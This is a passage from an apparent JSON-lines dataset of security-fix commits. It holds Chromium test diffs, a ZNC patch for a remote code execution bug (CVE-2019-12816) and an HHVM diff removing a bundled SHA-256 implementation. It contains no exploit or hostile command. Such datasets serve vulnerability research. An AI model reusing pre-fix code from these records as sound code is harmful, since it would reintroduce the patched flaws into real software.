ASSERT_FALSE(base::PathExists(delegate.temp_file_));\n+}\n+\n+IN_PROC_BROWSER_TEST_F(ExtensionPageCaptureApiTest,\n+ SaveAsMHTMLWithActiveTabWithFileAccess) {\n+ ASSERT_TRUE(StartEmbeddedTestServer());\n+ PageCaptureSaveAsMHTMLDelegate delegate;\n ASSERT_TRUE(RunExtensionTest(\"page_capture\")) << message_;\n // Make sure the MHTML data gets written to the temporary file.\n ASSERT_FALSE(delegate.temp_file_.empty());", "sections": [{"section": "@@ -5,21 +5,34 @@\n #include \"base/base_switches.h\"\n #include \"base/command_line.h\"\n #include \"base/threading/thread_restrictions.h\"\n+#include \"chrome/browser/extensions/active_tab_permission_granter.h\"\n #include \"chrome/browser/extensions/api/page_capture/page_capture_api.h\"\n+#include \"chrome/browser/extensions/extension_action_runner.h\"\n #include \"chrome/browser/extensions/extension_apitest.h\"\n+#include \"chrome/browser/extensions/extension_util.h\"\n+#include \"chrome/browser/extensions/tab_helper.h\"\n #include \"chrome/common/chrome_switches.h\"\n+#include \"chrome/test/base/ui_test_utils.h\"\n #include \"chromeos/login/scoped_test_public_session_login_state.h\"\n #include \"content/public/browser/browser_thread.h\"\n #include \"content/public/common/content_switches.h\"\n #include \"content/public/test/test_utils.h\"\n #include \"extensions/browser/extension_dialog_auto_confirm.h\"\n+#include \"extensions/common/permissions/permission_set.h\"\n+#include \"extensions/common/permissions/permissions_data.h\"\n+#include \"extensions/common/url_pattern_set.h\"\n+#include \"extensions/test/extension_test_message_listener.h\"\n+#include \"extensions/test/result_catcher.h\"\n #include \"net/dns/mock_host_resolver.h\"\n \n #if defined(OS_CHROMEOS)\n #include \"chromeos/login/login_state.h\"\n #endif // defined(OS_CHROMEOS)\n \n+using extensions::Extension;\n+using extensions::ExtensionActionRunner;\n using extensions::PageCaptureSaveAsMHTMLFunction;\n+using extensions::ResultCatcher;\n using extensions::ScopedTestDialogAutoConfirm;\n \n class ExtensionPageCaptureApiTest : public extensions::ExtensionApiTest {\n", "related": false}, {"section": "@@ -55,6 +68,24 @@ class PageCaptureSaveAsMHTMLDelegate\n IN_PROC_BROWSER_TEST_F(ExtensionPageCaptureApiTest, SaveAsMHTML) {\n ASSERT_TRUE(StartEmbeddedTestServer());\n PageCaptureSaveAsMHTMLDelegate delegate;\n+ ASSERT_TRUE(RunExtensionTestWithFlagsAndArg(\n+ \"page_capture\", \"ONLY_PAGE_CAPTURE_PERMISSION\", kFlagNone))\n+ << message_;\n+ // Make sure the MHTML data gets written to the temporary file.\n+ ASSERT_FALSE(delegate.temp_file_.empty());\n+ // Flush the message loops to make sure the delete happens.\n+ content::RunAllTasksUntilIdle();\n+ content::RunAllPendingInMessageLoop(content::BrowserThread::IO);\n+ // Make sure the temporary file is destroyed once the javascript side reads\n+ // the contents.\n+ base::ScopedAllowBlockingForTesting allow_blocking;\n+ ASSERT_FALSE(base::PathExists(delegate.temp_file_));\n+}\n+\n+IN_PROC_BROWSER_TEST_F(ExtensionPageCaptureApiTest,\n+ SaveAsMHTMLWithActiveTabWithFileAccess) {\n+ ASSERT_TRUE(StartEmbeddedTestServer());\n+ PageCaptureSaveAsMHTMLDelegate delegate;\n ASSERT_TRUE(RunExtensionTest(\"page_capture\")) << message_;\n // Make sure the MHTML data gets written to the temporary file.\n ASSERT_FALSE(delegate.temp_file_.empty());", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "url/url_canon_unittest.cc", "commit_id": "19b1e5e4e1914b5b7464062ec300b817d2bac53d", "commit_message": "[url] Make path URL parsing more lax\n\nParsing the path component of a non-special URL like javascript or data\nshould not fail for invalid URL characters like \\uFFFF. See this bit\nin the spec:\nhttps://url.spec.whatwg.org/#cannot-be-a-base-url-path-state\n\nNote: some failing WPTs are added which are because url parsing\nreplaces invalid characters (e.g. \\uFFFF) with the replacement char\n\\uFFFD, when that isn't in the spec.\n\nBug: 925614\nChange-Id: I450495bfdfa68dc70334ebed16a3ecc0d5737e88\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1551917\nReviewed-by: Mike West \nCommit-Queue: Charlie Harrison \nCr-Commit-Position: refs/heads/master@{#648155}", "patch": "@@ -1873,9 +1873,13 @@ TEST(URLCanonTest, CanonicalizePathURL) {\n const char* input;\n const char* expected;\n } path_cases[] = {\n- {\"javascript:\", \"javascript:\"},\n- {\"JavaScript:Foo\", \"javascript:Foo\"},\n- {\"Foo:\\\":This /is interesting;?#\", \"foo:\\\":This /is interesting;?#\"},\n+ {\"javascript:\", \"javascript:\"},\n+ {\"JavaScript:Foo\", \"javascript:Foo\"},\n+ {\"Foo:\\\":This /is interesting;?#\", \"foo:\\\":This /is interesting;?#\"},\n+\n+ // Validation errors should not cause failure. See\n+ // https://crbug.com/925614.\n+ {\"javascript:\\uFFFF\", \"javascript:%EF%BF%BD\"},\n };\n \n for (size_t i = 0; i < base::size(path_cases); i++) {", "sections": [{"section": "@@ -1873,9 +1873,13 @@ TEST(URLCanonTest, CanonicalizePathURL) {\n const char* input;\n const char* expected;\n } path_cases[] = {\n- {\"javascript:\", \"javascript:\"},\n- {\"JavaScript:Foo\", \"javascript:Foo\"},\n- {\"Foo:\\\":This /is interesting;?#\", \"foo:\\\":This /is interesting;?#\"},\n+ {\"javascript:\", \"javascript:\"},\n+ {\"JavaScript:Foo\", \"javascript:Foo\"},\n+ {\"Foo:\\\":This /is interesting;?#\", \"foo:\\\":This /is interesting;?#\"},\n+\n+ // Validation errors should not cause failure. See\n+ // https://crbug.com/925614.\n+ {\"javascript:\\uFFFF\", \"javascript:%EF%BF%BD\"},\n };\n \n for (size_t i = 0; i < base::size(path_cases); i++) {", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "content/browser/service_worker/service_worker_clients_api_browsertest.cc", "commit_id": "e8bf23bbbc3976d6a3418a7298a39bbf35c7beb3", "commit_message": "Prevent WindowClient.navigate() from cancelling a browser-initiated navigation.\n\nOtherwise, a service worker can prevent you from navigating where you\nwant to go via the omnibox.\n\nNote: this is similar to WebContentsImpl::OnGoToEntryAtOffset() for\nrenderer-initiated history navigations.\n\nBug: 930154\nChange-Id: I3a687ccc8ba4420d2369adb24f63c2702bdeeff1\nReviewed-on: https://chromium-review.googlesource.com/c/1477454\nCommit-Queue: Matt Falkenhagen \nCommit-Queue: Arthur Sonzogni \nReviewed-by: Arthur Sonzogni \nAuto-Submit: Matt Falkenhagen \nCr-Commit-Position: refs/heads/master@{#633231}", "patch": "@@ -258,6 +258,36 @@ IN_PROC_BROWSER_TEST_F(ServiceWorkerClientsApiBrowserTest,\n EXPECT_EQ(title, title_watcher.WaitAndGetTitle());\n }\n \n+// Tests a WindowClient.navigate() call during a browser-initiated navigation.\n+// Regression test for https://crbug.com/930154.\n+IN_PROC_BROWSER_TEST_F(ServiceWorkerClientsApiBrowserTest,\n+ NavigateDuringBrowserNavigation) {\n+ // Load a page that registers a service worker.\n+ EXPECT_TRUE(NavigateToURL(shell(),\n+ embedded_test_server()->GetURL(\n+ \"/service_worker/create_service_worker.html\")));\n+ EXPECT_EQ(\"DONE\", EvalJs(shell(), \"register('client_api_worker.js');\"));\n+\n+ // Load the test page.\n+ EXPECT_TRUE(NavigateToURL(\n+ shell(),\n+ embedded_test_server()->GetURL(\"/service_worker/request_navigate.html\")));\n+\n+ // Start a browser-initiated navigation.\n+ GURL url(embedded_test_server()->GetURL(\"/title1.html\"));\n+ TestNavigationManager navigation(shell()->web_contents(), url);\n+ shell()->LoadURL(url);\n+ EXPECT_TRUE(navigation.WaitForRequestStart());\n+\n+ // Have the service worker call client.navigate() to try to go to another\n+ // URL. It should fail.\n+ EXPECT_EQ(\"navigate failed\", EvalJs(shell(), \"requestToNavigate();\"));\n+\n+ // The browser-initiated navigation should finish.\n+ navigation.WaitForNavigationFinished(); // Resume navigation.\n+ EXPECT_TRUE(navigation.was_successful());\n+}\n+\n // Tests a successful Clients.openWindow() call.\n IN_PROC_BROWSER_TEST_F(ServiceWorkerClientsApiBrowserTest, OpenWindow) {\n ActivatedServiceWorkerObserver observer;", "sections": [{"section": "@@ -258,6 +258,36 @@ IN_PROC_BROWSER_TEST_F(ServiceWorkerClientsApiBrowserTest,\n EXPECT_EQ(title, title_watcher.WaitAndGetTitle());\n }\n \n+// Tests a WindowClient.navigate() call during a browser-initiated navigation.\n+// Regression test for https://crbug.com/930154.\n+IN_PROC_BROWSER_TEST_F(ServiceWorkerClientsApiBrowserTest,\n+ NavigateDuringBrowserNavigation) {\n+ // Load a page that registers a service worker.\n+ EXPECT_TRUE(NavigateToURL(shell(),\n+ embedded_test_server()->GetURL(\n+ \"/service_worker/create_service_worker.html\")));\n+ EXPECT_EQ(\"DONE\", EvalJs(shell(), \"register('client_api_worker.js');\"));\n+\n+ // Load the test page.\n+ EXPECT_TRUE(NavigateToURL(\n+ shell(),\n+ embedded_test_server()->GetURL(\"/service_worker/request_navigate.html\")));\n+\n+ // Start a browser-initiated navigation.\n+ GURL url(embedded_test_server()->GetURL(\"/title1.html\"));\n+ TestNavigationManager navigation(shell()->web_contents(), url);\n+ shell()->LoadURL(url);\n+ EXPECT_TRUE(navigation.WaitForRequestStart());\n+\n+ // Have the service worker call client.navigate() to try to go to another\n+ // URL. It should fail.\n+ EXPECT_EQ(\"navigate failed\", EvalJs(shell(), \"requestToNavigate();\"));\n+\n+ // The browser-initiated navigation should finish.\n+ navigation.WaitForNavigationFinished(); // Resume navigation.\n+ EXPECT_TRUE(navigation.was_successful());\n+}\n+\n // Tests a successful Clients.openWindow() call.\n IN_PROC_BROWSER_TEST_F(ServiceWorkerClientsApiBrowserTest, OpenWindow) {\n ActivatedServiceWorkerObserver observer;", "related": false}]} +{"owner": "znc", "repo": "znc", "language": "C", "file_name": "include/znc/Modules.h", "commit_id": "8de9e376ce531fe7f3c8b0aa4876d15b479b7311", "commit_message": "Fix remote code execution and privilege escalation vulnerability.\n\nTo trigger this, need to have a user already.\n\nThanks for Jeriko One for finding and reporting this.\n\nCVE-2019-12816", "patch": "@@ -1600,6 +1600,7 @@ class CModules : public std::vector, private CCoreTranslationMixin {\n private:\n static ModHandle OpenModule(const CString& sModule, const CString& sModPath,\n CModInfo& Info, CString& sRetMsg);\n+ static bool ValidateModuleName(const CString& sModule, CString& sRetMsg);\n \n protected:\n CUser* m_pUser;", "sections": [{"section": "@@ -1600,6 +1600,7 @@ class CModules : public std::vector, private CCoreTranslationMixin {\n private:\n static ModHandle OpenModule(const CString& sModule, const CString& sModPath,\n CModInfo& Info, CString& sRetMsg);\n+ static bool ValidateModuleName(const CString& sModule, CString& sRetMsg);\n \n protected:\n CUser* m_pUser;", "related": false}]} +{"owner": "facebook", "repo": "hhvm", "language": "C++", "file_name": "hphp/runtime/ext/scrypt/crypto/sha256.cpp", "commit_id": "cc331e4349e91706a673e2a09f1f2ea5bbb33815", "commit_message": "Replace copied scrypt implementation with call to libsodium\n\nSummary:\nlibsodium actually uses the same implementation; using libsodium means we don't\nneed to maintain a copy ourselves.\n\nKeep the `pickparams` implementation though, as that's not exposed in libsodium.\n\nWe should deprecate this extension, and strongly encourage directly using `ext_sodium` instead from Hack code; stored hashes from `ext_scrypt` can be verified like this:\n\n```\n$enc = scrypt_enc('foo', random_bytes(SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES));\n\t​\n​list($_, $algo, $n, $r, $p, $salt, $out) = explode('$', $enc);\n​invariant($algo === 's', 'did not get an scrypt result');\n​$salt = base64_decode($salt);\n​$out = base64_decode($out);\n​\n​$opslimit = (1 << $n) * $r * $p * 4;\n​$memlimit = (1 << $n) * $r * 128;\n​$sodium = sodium_crypto_pwhash_scryptsalsa208sha256(strlen($out), 'foo', $salt, $opslimit, $memlimit);\n​\\var_dump($sodium === $out);\n```\n\nThis also makes the scrypt extension depend on libsodium; this is fine, libsodium's going to be a hard dependency for HHVM anyway when the proxygen pin is next updated.\n\nReviewed By: alexeyt\n\nDifferential Revision: D15702142\n\nfbshipit-source-id: 2dcad7c6cb273d4ce4b3479ffa445841fa2d1107", "patch": "@@ -1,418 +0,0 @@\n-/*-\n- * Copyright 2005,2007,2009 Colin Percival\n- * All rights reserved.\n- *\n- * Redistribution and use in source and binary forms, with or without\n- * modification, are permitted provided that the following conditions\n- * are met:\n- * 1. Redistributions of source code must retain the above copyright\n- * notice, this list of conditions and the following disclaimer.\n- * 2. Redistributions in binary form must reproduce the above copyright\n- * notice, this list of conditions and the following disclaimer in the\n- * documentation and/or other materials provided with the distribution.\n- *\n- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n- * SUCH DAMAGE.\n- */\n-#include \n-\n-#include \n-#include \n-\n-#include \n-\n-#include \"sha256.h\" // nolint\n-\n-/*\n- * Encode a length len/4 vector of (uint32_t) into a length len vector of\n- * (unsigned char) in big-endian form. Assumes len is a multiple of 4.\n- */\n-static void\n-be32enc_vect(unsigned char *dst, const uint32_t *src, size_t len)\n-{\n- size_t i;\n- uint32_t *d;\n-\n- for (i = 0; i < len / 4; i++) {\n- d = (uint32_t *) (dst + i * 4);\n- *d = folly::Endian::big32(src[i]);\n- }\n-}\n-\n-/*\n- * Decode a big-endian length len vector of (unsigned char) into a length\n- * len/4 vector of (uint32_t). Assumes len is a multiple of 4.\n- */\n-static void\n-be32dec_vect(uint32_t *dst, const unsigned char *src, size_t len)\n-{\n- size_t i;\n- uint32_t *s;\n-\n- for (i = 0; i < len / 4; i++) {\n- s = (uint32_t *) (src + i * 4);\n- dst[i] = folly::Endian::big32(*s);\n- }\n-}\n-\n-/* Elementary functions used by SHA256 */\n-#define Ch(x, y, z) ((x & (y ^ z)) ^ z)\n-#define Maj(x, y, z) ((x & (y | z)) | (y & z))\n-#define SHR(x, n) (x >> n)\n-#define ROTR(x, n) ((x >> n) | (x << (32 - n)))\n-#define S0(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22))\n-#define S1(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25))\n-#define s0(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ SHR(x, 3))\n-#define s1(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ SHR(x, 10))\n-\n-/* SHA256 round function */\n-#define RND(a, b, c, d, e, f, g, h, k) \\\n- t0 = h + S1(e) + Ch(e, f, g) + k; \\\n- t1 = S0(a) + Maj(a, b, c); \\\n- d += t0; \\\n- h = t0 + t1;\n-\n-/* Adjusted round function for rotating state */\n-#define RNDr(S, W, i, k) \\\n- RND(S[(64 - i) % 8], S[(65 - i) % 8], \\\n- S[(66 - i) % 8], S[(67 - i) % 8], \\\n- S[(68 - i) % 8], S[(69 - i) % 8], \\\n- S[(70 - i) % 8], S[(71 - i) % 8], \\\n- W[i] + k)\n-\n-/*\n- * SHA256 block compression function. The 256-bit state is transformed via\n- * the 512-bit input block to produce a new state.\n- */\n-static void\n-SHA256_Transform(uint32_t * state, const unsigned char block[64])\n-{\n- uint32_t W[64];\n- uint32_t S[8];\n- uint32_t t0, t1;\n- int i;\n-\n- /* 1. Prepare message schedule W. */\n- be32dec_vect(W, block, 64);\n- for (i = 16; i < 64; i++)\n- W[i] = s1(W[i - 2]) + W[i - 7] + s0(W[i - 15]) + W[i - 16];\n-\n- /* 2. Initialize working variables. */\n- memcpy(S, state, 32);\n-\n- /* 3. Mix. */\n- RNDr(S, W, 0, 0x428a2f98);\n- RNDr(S, W, 1, 0x71374491);\n- RNDr(S, W, 2, 0xb5c0fbcf);\n- RNDr(S, W, 3, 0xe9b5dba5);\n- RNDr(S, W, 4, 0x3956c25b);\n- RNDr(S, W, 5, 0x59f111f1);\n- RNDr(S, W, 6, 0x923f82a4);\n- RNDr(S, W, 7, 0xab1c5ed5);\n- RNDr(S, W, 8, 0xd807aa98);\n- RNDr(S, W, 9, 0x12835b01);\n- RNDr(S, W, 10, 0x243185be);\n- RNDr(S, W, 11, 0x550c7dc3);\n- RNDr(S, W, 12, 0x72be5d74);\n- RNDr(S, W, 13, 0x80deb1fe);\n- RNDr(S, W, 14, 0x9bdc06a7);\n- RNDr(S, W, 15, 0xc19bf174);\n- RNDr(S, W, 16, 0xe49b69c1);\n- RNDr(S, W, 17, 0xefbe4786);\n- RNDr(S, W, 18, 0x0fc19dc6);\n- RNDr(S, W, 19, 0x240ca1cc);\n- RNDr(S, W, 20, 0x2de92c6f);\n- RNDr(S, W, 21, 0x4a7484aa);\n- RNDr(S, W, 22, 0x5cb0a9dc);\n- RNDr(S, W, 23, 0x76f988da);\n- RNDr(S, W, 24, 0x983e5152);\n- RNDr(S, W, 25, 0xa831c66d);\n- RNDr(S, W, 26, 0xb00327c8);\n- RNDr(S, W, 27, 0xbf597fc7);\n- RNDr(S, W, 28, 0xc6e00bf3);\n- RNDr(S, W, 29, 0xd5a79147);\n- RNDr(S, W, 30, 0x06ca6351);\n- RNDr(S, W, 31, 0x14292967);\n- RNDr(S, W, 32, 0x27b70a85);\n- RNDr(S, W, 33, 0x2e1b2138);\n- RNDr(S, W, 34, 0x4d2c6dfc);\n- RNDr(S, W, 35, 0x53380d13);\n- RNDr(S, W, 36, 0x650a7354);\n- RNDr(S, W, 37, 0x766a0abb);\n- RNDr(S, W, 38, 0x81c2c92e);\n- RNDr(S, W, 39, 0x92722c85);\n- RNDr(S, W, 40, 0xa2bfe8a1);\n- RNDr(S, W, 41, 0xa81a664b);\n- RNDr(S, W, 42, 0xc24b8b70);\n- RNDr(S, W, 43, 0xc76c51a3);\n- RNDr(S, W, 44, 0xd192e819);\n- RNDr(S, W, 45, 0xd6990624);\n- RNDr(S, W, 46, 0xf40e3585);\n- RNDr(S, W, 47, 0x106aa070);\n- RNDr(S, W, 48, 0x19a4c116);\n- RNDr(S, W, 49, 0x1e376c08);\n- RNDr(S, W, 50, 0x2748774c);\n- RNDr(S, W, 51, 0x34b0bcb5);\n- RNDr(S, W, 52, 0x391c0cb3);\n- RNDr(S, W, 53, 0x4ed8aa4a);\n- RNDr(S, W, 54, 0x5b9cca4f);\n- RNDr(S, W, 55, 0x682e6ff3);\n- RNDr(S, W, 56, 0x748f82ee);\n- RNDr(S, W, 57, 0x78a5636f);\n- RNDr(S, W, 58, 0x84c87814);\n- RNDr(S, W, 59, 0x8cc70208);\n- RNDr(S, W, 60, 0x90befffa);\n- RNDr(S, W, 61, 0xa4506ceb);\n- RNDr(S, W, 62, 0xbef9a3f7);\n- RNDr(S, W, 63, 0xc67178f2);\n-\n- /* 4. Mix local working variables into global state */\n- for (i = 0; i < 8; i++)\n- state[i] += S[i];\n-\n- /* Clean the stack. */\n- memset(W, 0, 256);\n- memset(S, 0, 32);\n- t0 = t1 = 0;\n-}\n-\n-static unsigned char PAD[64] = {\n- 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n-};\n-\n-/* Add padding and terminating bit-count. */\n-static void\n-SHA256_Pad(struct SHA256_CTX * ctx)\n-{\n- unsigned char len[8];\n- uint32_t r, plen;\n-\n- /*\n- * Convert length to a vector of bytes -- we do this now rather\n- * than later because the length will change after we pad.\n- */\n- be32enc_vect(len, ctx->count, 8);\n-\n- /* Add 1--64 bytes so that the resulting length is 56 mod 64 */\n- r = (ctx->count[1] >> 3) & 0x3f;\n- plen = (r < 56) ? (56 - r) : (120 - r);\n- scrypt_SHA256_Update(ctx, PAD, (size_t)plen);\n-\n- /* Add the terminating bit-count */\n- scrypt_SHA256_Update(ctx, len, 8);\n-}\n-\n-/* SHA-256 initialization. Begins a SHA-256 operation. */\n-void\n-SHA256_Init(struct SHA256_CTX * ctx)\n-{\n-\n- /* Zero bits processed so far */\n- ctx->count[0] = ctx->count[1] = 0;\n-\n- /* Magic initialization constants */\n- ctx->state[0] = 0x6A09E667;\n- ctx->state[1] = 0xBB67AE85;\n- ctx->state[2] = 0x3C6EF372;\n- ctx->state[3] = 0xA54FF53A;\n- ctx->state[4] = 0x510E527F;\n- ctx->state[5] = 0x9B05688C;\n- ctx->state[6] = 0x1F83D9AB;\n- ctx->state[7] = 0x5BE0CD19;\n-}\n-\n-/* Add bytes into the hash */\n-void\n-scrypt_SHA256_Update(struct SHA256_CTX * ctx, const void *in, size_t len)\n-{\n- uint32_t bitlen[2];\n- uint32_t r;\n- const unsigned char *src = (unsigned char *) in;\n-\n- /* Number of bytes left in the buffer from previous updates */\n- r = (ctx->count[1] >> 3) & 0x3f;\n-\n- /* Convert the length into a number of bits */\n- bitlen[1] = ((uint32_t)len) << 3;\n- bitlen[0] = (uint32_t)(len >> 29);\n-\n- /* Update number of bits */\n- if ((ctx->count[1] += bitlen[1]) < bitlen[1])\n- ctx->count[0]++;\n- ctx->count[0] += bitlen[0];\n-\n- /* Handle the case where we don't need to perform any transforms */\n- if (len < 64 - r) {\n- memcpy(&ctx->buf[r], src, len);\n- return;\n- }\n-\n- /* Finish the current block */\n- memcpy(&ctx->buf[r], src, 64 - r);\n- SHA256_Transform(ctx->state, ctx->buf);\n- src += 64 - r;\n- len -= 64 - r;\n-\n- /* Perform complete blocks */\n- while (len >= 64) {\n- SHA256_Transform(ctx->state, src);\n- src += 64;\n- len -= 64;\n- }\n-\n- /* Copy left over data into buffer */\n- memcpy(ctx->buf, src, len);\n-}\n-\n-/*\n- * SHA-256 finalization. Pads the input data, exports the hash value,\n- * and clears the context state.\n- */\n-void\n-scrypt_SHA256_Final(unsigned char digest[32], struct SHA256_CTX * ctx)\n-{\n-\n- /* Add padding */\n- SHA256_Pad(ctx);\n-\n- /* Write the hash */\n- be32enc_vect(digest, ctx->state, 32);\n-\n- /* Clear the context state */\n- memset((void *)ctx, 0, sizeof(*ctx));\n-}\n-\n-/* Initialize an HMAC-SHA256 operation with the given key. */\n-void\n-HMAC_SHA256_Init(struct HMAC_SHA256_CTX * ctx, const void * _K, size_t Klen)\n-{\n- unsigned char pad[64];\n- unsigned char khash[32];\n- const unsigned char * K = (unsigned char *) _K;\n- size_t i;\n-\n- /* If Klen > 64, the key is really SHA256(K). */\n- if (Klen > 64) {\n- SHA256_Init(&ctx->ictx);\n- scrypt_SHA256_Update(&ctx->ictx, K, Klen);\n- scrypt_SHA256_Final(khash, &ctx->ictx);\n- K = khash;\n- Klen = 32;\n- }\n-\n- /* Inner SHA256 operation is SHA256(K xor [block of 0x36] || data). */\n- SHA256_Init(&ctx->ictx);\n- memset(pad, 0x36, 64);\n- for (i = 0; i < Klen; i++)\n- pad[i] ^= K[i];\n- scrypt_SHA256_Update(&ctx->ictx, pad, 64);\n-\n- /* Outer SHA256 operation is SHA256(K xor [block of 0x5c] || hash). */\n- SHA256_Init(&ctx->octx);\n- memset(pad, 0x5c, 64);\n- for (i = 0; i < Klen; i++)\n- pad[i] ^= K[i];\n- scrypt_SHA256_Update(&ctx->octx, pad, 64);\n-\n- /* Clean the stack. */\n- memset(khash, 0, 32);\n-}\n-\n-/* Add bytes to the HMAC-SHA256 operation. */\n-void\n-HMAC_SHA256_Update(struct HMAC_SHA256_CTX * ctx, const void *in, size_t len)\n-{\n-\n- /* Feed data to the inner SHA256 operation. */\n- scrypt_SHA256_Update(&ctx->ictx, in, len);\n-}\n-\n-/* Finish an HMAC-SHA256 operation. */\n-void\n-HMAC_SHA256_Final(unsigned char digest[32], struct HMAC_SHA256_CTX * ctx)\n-{\n- unsigned char ihash[32];\n-\n- /* Finish the inner SHA256 operation. */\n- scrypt_SHA256_Final(ihash, &ctx->ictx);\n-\n- /* Feed the inner hash to the outer SHA256 operation. */\n- scrypt_SHA256_Update(&ctx->octx, ihash, 32);\n-\n- /* Finish the outer SHA256 operation. */\n- scrypt_SHA256_Final(digest, &ctx->octx);\n-\n- /* Clean the stack. */\n- memset(ihash, 0, 32);\n-}\n-\n-/**\n- * PBKDF2_SHA256(passwd, passwdlen, salt, saltlen, c, buf, dkLen):\n- * Compute PBKDF2(passwd, salt, c, dkLen) using HMAC-SHA256 as the PRF, and\n- * write the output to buf. The value dkLen must be at most 32 * (2^32 - 1).\n- */\n-void\n-PBKDF2_SHA256(const uint8_t * passwd, size_t passwdlen, const uint8_t * salt,\n- size_t saltlen, uint64_t c, uint8_t * buf, size_t dkLen)\n-{\n- struct HMAC_SHA256_CTX PShctx, hctx;\n- size_t i;\n- uint8_t ivec[4];\n- uint32_t *ivec_p;\n- uint8_t U[32];\n- uint8_t T[32];\n- uint64_t j;\n- int k;\n- size_t clen;\n-\n- /* Compute HMAC state after processing P and S. */\n- HMAC_SHA256_Init(&PShctx, passwd, passwdlen);\n- HMAC_SHA256_Update(&PShctx, salt, saltlen);\n-\n- /* Iterate through the blocks. */\n- ivec_p = (uint32_t *) ivec;\n- for (i = 0; i * 32 < dkLen; i++) {\n- /* Generate INT(i + 1). */\n- *ivec_p = folly::Endian::big32((uint32_t)(i + 1));\n-\n- /* Compute U_1 = PRF(P, S || INT(i)). */\n- memcpy(&hctx, &PShctx, sizeof(struct HMAC_SHA256_CTX));\n- HMAC_SHA256_Update(&hctx, ivec, 4);\n- HMAC_SHA256_Final(U, &hctx);\n-\n- /* T_i = U_1 ... */\n- memcpy(T, U, 32);\n-\n- for (j = 2; j <= c; j++) {\n- /* Compute U_j. */\n- HMAC_SHA256_Init(&hctx, passwd, passwdlen);\n- HMAC_SHA256_Update(&hctx, U, 32);\n- HMAC_SHA256_Final(U, &hctx);\n-\n- /* ... xor U_j ... */\n- for (k = 0; k < 32; k++)\n- T[k] ^= U[k];\n- }\n-\n- /* Copy as many bytes as necessary into buf. */\n- clen = dkLen - i * 32;\n- if (clen > 32)\n- clen = 32;\n- memcpy(&buf[i * 32], T, clen);\n- }\n-\n- /* Clean PShctx, since we never called _Final on it. */\n- memset(&PShctx, 0, sizeof(struct HMAC_SHA256_CTX));\n-}", "sections": [{"section": "@@ -1,418 +0,0 @@\n-/*-\n- * Copyright 2005,2007,2009 Colin Percival\n- * All rights reserved.\n- *\n- * Redistribution and use in source and binary forms, with or without\n- * modification, are permitted provided that the following conditions\n- * are met:\n- * 1. Redistributions of source code must retain the above copyright\n- * notice, this list of conditions and the following disclaimer.\n- * 2. Redistributions in binary form must reproduce the above copyright\n- * notice, this list of conditions and the following disclaimer in the\n- * documentation and/or other materials provided with the distribution.\n- *\n- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n- * SUCH DAMAGE.\n- */\n-#include \n-\n-#include \n-#include \n-\n-#include \n-\n-#include \"sha256.h\" // nolint\n-\n-/*\n- * Encode a length len/4 vector of (uint32_t) into a length len vector of\n- * (unsigned char) in big-endian form. Assumes len is a multiple of 4.\n- */\n-static void\n-be32enc_vect(unsigned char *dst, const uint32_t *src, size_t len)\n-{\n- size_t i;\n- uint32_t *d;\n-\n- for (i = 0; i < len / 4; i++) {\n- d = (uint32_t *) (dst + i * 4);\n- *d = folly::Endian::big32(src[i]);\n- }\n-}\n-\n-/*\n- * Decode a big-endian length len vector of (unsigned char) into a length\n- * len/4 vector of (uint32_t). Assumes len is a multiple of 4.\n- */\n-static void\n-be32dec_vect(uint32_t *dst, const unsigned char *src, size_t len)\n-{\n- size_t i;\n- uint32_t *s;\n-\n- for (i = 0; i < len / 4; i++) {\n- s = (uint32_t *) (src + i * 4);\n- dst[i] = folly::Endian::big32(*s);\n- }\n-}\n-\n-/* Elementary functions used by SHA256 */\n-#define Ch(x, y, z) ((x & (y ^ z)) ^ z)\n-#define Maj(x, y, z) ((x & (y | z)) | (y & z))\n-#define SHR(x, 